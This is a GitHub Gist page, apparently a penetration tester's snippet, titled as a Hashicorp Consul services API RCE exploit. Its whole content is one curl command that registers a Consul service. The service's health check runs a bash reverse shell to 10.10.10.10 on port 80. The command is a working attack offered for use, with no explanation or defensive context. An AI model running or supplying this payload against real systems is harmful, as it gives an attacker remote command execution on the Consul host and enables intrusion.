Skip to content

Instantly share code, notes, and snippets.

View A1vinSmith's full-sized avatar
🎯
OSCE3

Alvin Smith A1vinSmith

🎯
OSCE3
View GitHub Profile
@A1vinSmith
A1vinSmith / revshell.sh
Last active June 12, 2025 18:06
Hashicorp Consul services API RCE & The simplest version of exploitation
curl --header "X-Consul-Token: XX-<SNIP>-XX" \
-X PUT \
-H "Content-Type: application/json" \
-d '{"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.10.10/80 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "alvinID01", "Name": "alvinName01", "Port": 80}' \
http://127.0.0.1:8500/v1/agent/service/register